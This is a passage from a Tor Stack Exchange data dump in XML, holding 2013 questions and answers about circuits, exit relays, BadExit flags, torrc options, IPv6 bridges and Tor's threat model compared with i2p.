noreferrer&quot;&gt;get_hidden_service_descriptor&lt;/a&gt; function. &#xA;The following python script will print the HS descriptor for the onion address passed as command line parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;import sys&#xA;from stem.control import Controller&#xA;&#xA;with Controller.from_port(port = 9051) as controller:&#xA;    controller.authenticate()&#xA;    print(controller.get_hidden_service_descriptor(sys.argv[1]))&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="58" LastEditorUserId="14962" LastEditDate="2016-12-19T14:12:15.480" LastActivityDate="2016-12-19T14:12:15.480" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="251" PostTypeId="2" ParentId="248" CreationDate="2013-10-01T14:47:02.513" Score="2" Body="&lt;p&gt;Seems like you've failed to launch &lt;code&gt;obfsproxy&lt;/code&gt; application. I suggest you to download a fresh copy of &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en#download&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pluggable Transport&lt;/a&gt;, &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;verify it's signature&lt;/a&gt;, get some &lt;code&gt;obfs3&lt;/code&gt; bridges from BridgeDB (&lt;a href=&quot;https://tor.stackexchange.com/questions/181/how-can-i-use-tor-from-networks-whose-operators-attempt-to-block-tor-use/182#182&quot;&gt;as described here&lt;/a&gt;), add them to Vidalia and relaunch PT Bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to &lt;a href=&quot;https://trac.torproject.org/projects/tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;open a ticket&lt;/a&gt; or email &lt;code&gt;help@rt.torproject.org&lt;/code&gt; if you keep getting that error.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-10-05T21:52:47.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="252" PostTypeId="2" ParentId="249" CreationDate="2013-10-01T18:52:22.263" Score="5" Body="&lt;p&gt;I do not believe there are any other methods you could use that wouldn't ultimately harm the Tor network in some way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Limiting the Bandwidth, and setting an Exit Policy are the only tools that Tor provides to configure your exit. Any other policy would have to either&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use some form of traffic inspection, to determine if the traffic is &quot;malicious&quot;, for whatever definition of malicious you use. This is liable to get you marked as a bad exit, as things like dropping specific connections are detectable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply to all traffic indiscriminately, which thus will also affect the &quot;legitimate&quot; traffic that you don't wish to affect. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Finally, I don't think the conception of &quot;malicious&quot; that most people have with reference to Tor is easy to detect anyway. As an example, one of the often cited malicious uses are people sending traffic designed to penetrate secure services, or firewalls. Yet that traffic could be coming from someone inside the network, whose job is to perform &quot;penetration testing&quot; on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example is people using Tor to obtain illegal material. Yet the person obtaining the material may be a police officer building a case and collecting evidence, who doesn't want an IP associated with their organisation showing up as a red flag to the person sharing the material.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-10-01T18:52:22.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="253" PostTypeId="1" AcceptedAnswerId="254" CreationDate="2013-10-01T18:54:49.320" Score="13" ViewCount="1064" Body="&lt;p&gt;The consensus includes details of exits that are flagged as &quot;Bad Exits&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the specific conditions under which the Bad Exit flag is given to an exit?&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="58" LastEditDate="2013-10-05T17:05:22.233" LastActivityDate="2013-10-05T17:05:22.233" Title="What specifically causes an Exit to get a Bad Exit flag?" Tags="|exit-relays|directory|flags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="254" PostTypeId="2" ParentId="253" CreationDate="2013-10-01T19:20:55.037" Score="12" Body="&lt;p&gt;Usually it implies that they are breaking stuff, either maliciously or through misconfiguration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most common misconfiguration I have seen is using &lt;a href=&quot;http://www.opendns.com/&quot;&gt;OpenDNS&lt;/a&gt; as a host's nameserver with what I think is the OpenDNS default configuration.  Services such as OpenDNS lie to you, under the name of protecting you.  The result is for instance getting redirected to their webpage when you want to visit evil sites such as &lt;a href=&quot;https://www.torproject.org/&quot;&gt;https://www.torproject.org/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example of either misconfiguration or actual intended malicious behavior is exit nodes that do man in the middle attacks on outgoing HTTPS connections, do SSL stripping (i.e. replacing https:// links with http:// links), or do man in the middle attacks on other protocols like ssh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever Directory Authority operators find such nodes, or somebody points them out to an operator, they are given the &lt;code&gt;BadExit&lt;/code&gt; label.  That will cause Tor clients to avoid them for exit connections.  They are still useful and will get used for other positions in a circuit.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="159" LastEditDate="2013-10-03T18:59:46.237" LastActivityDate="2013-10-03T18:59:46.237" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="255" PostTypeId="2" ParentId="230" CreationDate="2013-10-01T19:27:28.693" Score="9" Body="&lt;p&gt;Nodes in circuits are chosen randomly.  (Selection is weighted by a way-too-complex function of capacity, roles, etc, but it's still a random selection.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes, two random choices will actually be the same, just like sometimes a coin toss will indeed be heads-up twice in a row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that every once in a while a new circuit will exit from the same node as your last circuit did.  It's still a new circuit however, and chances are your exit node doesn't know it's the same client making them.  (Unless you leak that by some other means.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;(Obligatory random reference: &lt;a href=&quot;http://dilbert.com/strips/comic/2001-10-25/&quot; rel=&quot;noreferrer&quot;&gt;http://dilbert.com/strips/comic/2001-10-25/&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-10-02T21:56:28.480" LastActivityDate="2013-10-02T21:56:28.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="256" PostTypeId="2" ParentId="219" CreationDate="2013-10-01T19:34:08.953" Score="8" Body="&lt;p&gt;According to the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;, there are two configuration options (i.e. things you put in your torrc):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;HidServAuth&lt;/code&gt; is what can be used on the client.  It allows you to provide authentication cookies for hidden services as in &lt;code&gt;HidServAuth &amp;lt;onion-address&amp;gt; &amp;lt;auth-cookie&amp;gt;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;HiddenServiceAuthorizeClient&lt;/code&gt; is the server side companion.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Protocol-related information can be found in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;rendezvous-specification&lt;/a&gt; at section 2.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="-1" LastEditDate="2016-11-27T13:11:39.397" LastActivityDate="2016-11-27T13:11:39.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="257" PostTypeId="2" ParentId="201" CreationDate="2013-10-01T20:31:49.813" Score="4" Body="&lt;p&gt;Right now Tor has no support for splitting connections over different circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While, technically, support could be added if we had a design and the manpower to implement it, it's at this time not entirely clear if it's a good idea.  The performance and anonymity implications have not been studied sufficiently.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-10-04T07:49:34.087" LastActivityDate="2013-10-04T07:49:34.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="260" PostTypeId="1" CreationDate="2013-10-01T23:39:32.117" Score="11" ViewCount="4143" Body="&lt;p&gt;I would like to have Tor use a different IP address in Canada every time I start or restart the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="191" LastEditorUserId="58" LastEditDate="2013-10-05T17:09:18.443" LastActivityDate="2016-09-14T22:04:39.443" Title="Getting Tor to randomly use various Country IP's per session" Tags="|tor-browser-bundle|configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="261" PostTypeId="2" ParentId="260" CreationDate="2013-10-02T00:00:43.463" Score="0" Body="&lt;p&gt;I'm going to assume by different IP address you actually mean a different path. Because obviously it's not healthy for the Tor network nor for its other users. So please don't try to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also limiting yourself to a specific country is not recommended as it will ruin your anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you mean a different path, that's what Tor already does. Every time you start the Tor Browser Bundle, it makes a new circuit with three random relays and the circuit stays alive for 10&amp;nbsp;minutes or less (depending on timeouts you get) and then it'll automatically switch to a different path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to force Tor to use a different path (that is, you keep getting timeouts), &quot;New Identity&quot; is the key.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="288" LastEditDate="2013-10-27T08:17:18.597" LastActivityDate="2013-10-27T08:17:18.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="262" PostTypeId="1" AcceptedAnswerId="270" CreationDate="2013-10-02T00:08:11.913" Score="18" ViewCount="13293" Body="&lt;p&gt;How long does it take for Tor to expire a circuit and pick a new one? Is there a way to control this expiration time?&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="58" LastEditDate="2013-10-05T17:04:54.293" LastActivityDate="2017-06-09T09:16:19.417" Title="For how long does a circuit stay alive?" Tags="|circuit|configuration|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="263" PostTypeId="2" ParentId="233" CreationDate="2013-10-02T00:20:18.773" Score="3" Body="&lt;p&gt;As long this these issues are open...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Caveats:&#xA;  HTML5 &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; tags will leak &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt;-related DNS queries and data transfer outside of Tor.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Javascript cannot be disabled, HTML5 Geolocation API cannot be disabled.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd say:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Okay for circumvention, when anonymity isn't desired.&lt;/li&gt;&#xA;&lt;li&gt;Okay for adding hay to the haystack (Tor). Your contribution of causing more Tor traffic is appreciated. The more legitimate traffic, the better anonymity for everyone.&lt;/li&gt;&#xA;&lt;li&gt;Okay for very weak anonymity, against adversaries who are not that serious, not using HTML5 &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; and HTML5 Geolocation AP for tracking.&lt;/li&gt;&#xA;&lt;li&gt;Not safe, when you want to be in comparison as anonymous as a Tor Browser Bundle user.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Whether underlying proprietary operating systems such as iOS or Microsoft Windows can provide meaningful security/anonymity is another question. Not sure if a good question for the tor-talk mailing list or tor.stackexchange.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="-1" LastEditDate="2013-10-03T19:22:41.033" LastActivityDate="2013-10-03T19:22:41.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="264" PostTypeId="2" ParentId="232" CreationDate="2013-10-02T00:36:37.800" Score="4" Body="&lt;p&gt;Seems like Tor Browser developers are overworked. There is a &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/5734&quot; rel=&quot;nofollow&quot;&gt;development ticket&lt;/a&gt;, which hasn't been rejected. Too many more important issues. It would help, if someone knew how their certificate could be added to the source code / build process of Tor Browser. And if someone would provide patch to actually add the certificate. Also answering related questions on how to stay up to date, how to get informed about certificate updates (if that is a valid question at all, but surely a question a developer has, when being asked to include certificates in such a giant project as Firefox).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;See also the &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8515&quot; rel=&quot;nofollow&quot;&gt;duplicate ticket&lt;/a&gt; for plans.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2013-10-02T00:50:54.893" LastActivityDate="2013-10-02T00:50:54.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="265" PostTypeId="1" AcceptedAnswerId="269" CreationDate="2013-10-02T02:39:45.303" Score="11" ViewCount="1652" Body="&lt;p&gt;Is the following the equivalent of using &lt;code&gt;FascistFirewall 1&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ReachableAddresses accept *:80&#xA;ReachableAddresses accept *:443&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I ask this because it seems that &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;FascistFirewall&lt;/code&gt;&lt;/a&gt; will someday be deprecated (like &lt;code&gt;FirewallPorts&lt;/code&gt; is) for the more versatile and less-provocatively named &lt;code&gt;ReachableAddresses&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="193" LastEditorDisplayName="user66" LastEditDate="2013-10-29T19:36:33.567" LastActivityDate="2013-10-29T19:36:33.567" Title="The ReachableAddresses version of FascistFirewall" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="266" PostTypeId="1" AcceptedAnswerId="317" CreationDate="2013-10-02T03:52:14.047" Score="8" ViewCount="6508" Body="&lt;p&gt;There are at least three levels to &quot;Tor-friendly&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;allow clients;&lt;/li&gt;&#xA;&lt;li&gt;allow non-exit relays;&lt;/li&gt;&#xA;&lt;li&gt;allow exit relays.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In any case, the provider must accept SSH connections via Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By &quot;anonymous accounts&quot;, I mean:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;no contact information except email required (or none checked, if &quot;required&quot;);&lt;/li&gt;&#xA;&lt;li&gt;payment accepted in Bitcoins, or by cash through the mail.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="100" LastEditorUserId="923" LastEditDate="2014-03-02T22:36:42.083" LastActivityDate="2023-02-02T11:54:23.190" Title="What Tor-friendly hosting providers allow anonymous accounts?" Tags="|relays|anonymity|exit-relays|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="267" PostTypeId="2" ParentId="262" CreationDate="2013-10-02T04:34:30.987" Score="5" Body="&lt;p&gt;In 10 minutes:&#xA;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChangePaths&quot; rel=&quot;nofollow&quot;&gt;How often does Tor change its paths?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it's configurable using the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual-dev.html.en#MaxCircuitDirtiness&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;MaxCircuitDirtiness&lt;/code&gt; option&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastEditorUserId="5445" LastEditDate="2015-05-27T06:36:54.153" LastActivityDate="2015-05-27T06:36:54.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="268" PostTypeId="1" CreationDate="2013-10-02T04:56:55.493" Score="9" ViewCount="7418" Body="&lt;p&gt;Even if I put the following, it still only makes &lt;a href=&quot;http://en.wikipedia.org/wiki/IPv4&quot; rel=&quot;noreferrer&quot;&gt;IPv4&lt;/a&gt; connections to the outside world:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort [::]:9001 IPv6Only&#xA;OutboundBindAddress [::]&#xA;Bridge [&amp;lt;an IPv6 of a tor node of mine&amp;gt;]:9001&#xA;ClientUseIPv6 1&#xA;ClientPreferIPv6ORPort 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using tor-0.2.4.17rc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="147" LastEditorUserId="288" LastEditDate="2013-10-25T17:26:13.167" LastActivityDate="2023-05-25T14:03:53.857" Title="How do I make Tor use IPv6 for connecting to other peers?" Tags="|configuration|ipv6|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="269" PostTypeId="2" ParentId="265" CreationDate="2013-10-02T06:16:55.550" Score="7" Body="&lt;p&gt;I don't think there are any plans to deprecate &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot;&gt;FascistFirewall&lt;/a&gt;.  At least the manpage does not say it is, unlike FirewallPorts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, that's exactly the equivalent if you haven't also set FirewallPorts.  In fact, it's how FascistFirewall is &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/tor-0.2.4.17-rc:/src/or/config.c#l2549&quot;&gt;implemented&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the log messages should be slightly change to not imply FascistFirewall is going away.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-02T06:16:55.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="270" PostTypeId="2" ParentId="262" CreationDate="2013-10-02T06:23:17.553" Score="28" Body="&lt;p&gt;The &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChangePaths&quot;&gt;Tor FAQ&lt;/a&gt; also tries to answer this, but here's my attempt :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Circuits get created on start-up and whenever Tor thinks it might need more in the future or right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a circuits is actually &lt;em&gt;used&lt;/em&gt; for the first time, it'll be marked dirty.  Dirty circuits are used for new connections for 10 minutes by default (see &lt;a href=&quot;https://www.torproject.org/docs/tor-manual-dev.html.en&quot;&gt;&lt;code&gt;MaxCircuitDirtiness&lt;/code&gt; in the manual&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After those 10 minutes, a dirty circuit will stick around for as long as connections are still going over it.  If you're just web browsing that might not be the case for long.  However, if you are connected to &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_Relay_Chat&quot;&gt;IRC&lt;/a&gt; for instance it might be days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to summarize: a circuit lives for some amount of time before you use it, then for 10 minutes for new connections, and then for however long it takes for these connections to finish.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-10-03T19:01:40.150" LastActivityDate="2013-10-03T19:01:40.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="271" PostTypeId="2" ParentId="260" CreationDate="2013-10-02T06:53:11.107" Score="3" Body="&lt;p&gt;I think there is a &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt; entry that answers your question as far as Tor is concerned: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChooseEntryExit&quot; rel=&quot;nofollow&quot;&gt;Can I control which nodes (or country) are used for entry/exit?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that we recommend you do not use these!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think the browser bundle exposes such config options, but you can probably just go to its directory and modify the torrc there.  Again, not recommended.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-02T06:53:11.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="272" PostTypeId="2" ParentId="260" CreationDate="2013-10-02T07:19:19.393" Score="4" Body="&lt;p&gt;Peter already suggested the FAQ entry: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#ChooseEntryExit&quot; rel=&quot;nofollow&quot;&gt;Can I control which nodes (or country) are used for entry/exit?&lt;/a&gt;. So when your are using the Tor Browser Bundle navigate to the directory where the bundle lives. Within the subdirectory &lt;code&gt;Data/Tor&lt;/code&gt; is the file &lt;code&gt;torrc&lt;/code&gt;. You can open this file with a text editor and add the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {ca}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save the file and restart Tor. Now Tor tries to use only canadian based exit nodes. However it might be the case that there is none in Canada. In the default setting Tor will just use one from another country. If you like Tor to fail if no canadian exit is available, add the option&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your &lt;code&gt;torrc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory there might be a case where the geographical information is wrong. So the geoip file says IP address is in Canada while it is in the Democratic Republic of Congo. Here only an update of the geoip file helps. However I guess such a case doesn't happen very often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general I want to repeat Peters warning: &lt;em&gt;It is not recommended to use such a setting.&lt;/em&gt; &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-10-02T07:19:19.393" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="273" PostTypeId="2" ParentId="268" CreationDate="2013-10-02T08:21:08.730" Score="1" Body="&lt;p&gt;I know that IPv6 works when using bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my minimal torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;UseBridges 1&#xA;Bridge [&amp;lt;some ipv6 address&amp;gt;]:443&#xA;Log info stdout&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When started with this torrc, my Tor only has connections to my bridge over IPv6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if using a Tor client without bridges actually works with just IPv6 yet.  If I find out I'll update this answer accordingly.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-02T08:21:08.730" CommentCount="2" CommunityOwnedDate="2013-10-02T21:36:32.093" ContentLicense="CC BY-SA 3.0" />
  <row Id="274" PostTypeId="2" ParentId="198" CreationDate="2013-10-02T11:35:39.913" Score="0" Body="&lt;p&gt;It should be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor, starting with the 0.2.3.x branch, has a feature called &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/tor-0.2.3.25:/ReleaseNotes#l168&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;stream isolation&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that clients in different classes never share the same circuit.  It can be configured with the various Isolate* options for a &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;SocksPort&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, the IsolateClientAddr option is enabled.  Accordingly, different hosts using your Tor instance as their Onion Proxy should never use the same circuits.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Further references: &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/proposals/171-separate-streams.txt&quot; rel=&quot;nofollow&quot;&gt;proposal171: separate-streams&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-02T11:35:39.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="275" PostTypeId="5" CreationDate="2013-10-02T12:36:36.957" Score="0" Body="&lt;p&gt;The Tor Project is a non-profit organization that does much more than just foster the development of Tor. It also provides outreach and education about Tor, and online security and anonymity in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions regarding presentations, public outreach, or the best way to teach people about Tor can go here.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-10-02T12:53:40.153" LastActivityDate="2013-10-02T12:53:40.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="276" PostTypeId="4" CreationDate="2013-10-02T12:36:36.957" Score="0" Body="Questions relating to Tor Project outreach and education." OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2013-10-02T12:53:36.433" LastActivityDate="2013-10-02T12:53:36.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="277" PostTypeId="2" ParentId="27" CreationDate="2013-10-02T15:46:30.643" Score="9" Body="&lt;p&gt;Tor does not have a single threat model. It provides a various degrees of protection against different adversaries: local observers, malicious node operators, observers of the underlying Internet, etc. That said, the usual stated adversary in security analyses is one that owns a fraction c/n of the relays, as well as some clients and destinations. With all of these the adversary can do anything feasible (sometimes computationally, sometimes practically), generate traffic, drop traffic, violate protocols, etc. The adversary is usually assumed to also observe some, but definitely not all, of the Internet connections between relays, clients, and destinations from observers at ASes, IXPs, ISPs, etc. This Tor-network-link adversary is either passive or may drop, replay, or induce timing signatures and traffic passing over it. Adversaries for i2p are similar. For both systems there is no adversary against which one is completely secure and the other completely broken. It's all a matter of degree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many specifics, for example, attacks on the different approaches to propagating network information. (Tor currently distributes information about all the nodes in the network to each client before it begins communicating using about a dozen directory authorities and a system of mirrors. i2p uses a modified DHT.)  A complete answer would discuss all of these as well as destination fingerprinting, latency attacks, etc. It would be long and require frequent updating depending what new attacks have been discovered and what countermeasures have been designed and deployed. For similar reasons, which of Tor and i2p is more secure for each of these would be similarly complicated and dynamic. In the interest of giving a meaningful answer to the question I thus limit comparative points to the most significant and fundamental.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because it is a low latency system, Tor is effectively broken against an adversary that can watch both the client and destination end of a connection. This is true whether the adversary is at a Tor relay, the destination, or is an observer on the Internet. The same is essentially true of i2p and all low latency systems although the details vary. (For example, i2p uses variable length tunnels which make this slightly less certain, but they are typically 3 hops like Tor and do not vary much. Latency and intersection across a few connections can reduce the uncertainty.) Tor gets its security against such an adversary by being large enough that it becomes expensive for an adversary to have the resources to observe much of the network. The latest most detailed analysis of this can be found in &lt;a href=&quot;http://www.freehaven.net/anonbib/cache/ccs2013-usersrouted.pdf&quot;&gt;http://www.freehaven.net/anonbib/cache/ccs2013-usersrouted.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The heart of the difference comes to how design differences and other factors affect the usability of the two. Tor is primarily for clients to make TCP connections to arbitrary Internet destinations and lets users run clients without needing to carry traffic for others. i2p is (with limited exceptions) a closed p2p system both in its destinations and in how traffic is carried. The induced motivational differences mean that Tor is orders of magnitude larger than i2p and is likely to remain such regardless of how either can scale in principle. The resources (IP addresses, bandwidth, IXPs etc.) necessary to observe and deanonymize most communication on the largest i2p network are thus much less than those needed to observe and deanonymize most communication on the Tor network. If the adversary is local or distributed but small, both systems will provide reasonable protection as long as the client and destination are not local to each other. Tor is likely to retain better protection as the adversary grows, although against a strong enough adversary both are effectively broken---like any actual system designed to protect security. &lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2013-10-02T15:46:30.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="278" PostTypeId="5" CreationDate="2013-10-02T15:50:11.293" Score="0" Body="&lt;p&gt;A Tor circuit is a private network pathway built incrementally as a series of encrypted connections through relays on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o4V28.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-10-02T21:37:04.790" LastActivityDate="2013-10-02T21:37:04.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="279" PostTypeId="4" CreationDate="2013-10-02T15:50:11.293" Score="0" Body="A Tor circuit is a private network pathway built incrementally as a series of encrypted connections through relays on the network." OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-10-02T21:37:11.070" LastActivityDate="2013-10-02T21:37:11.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
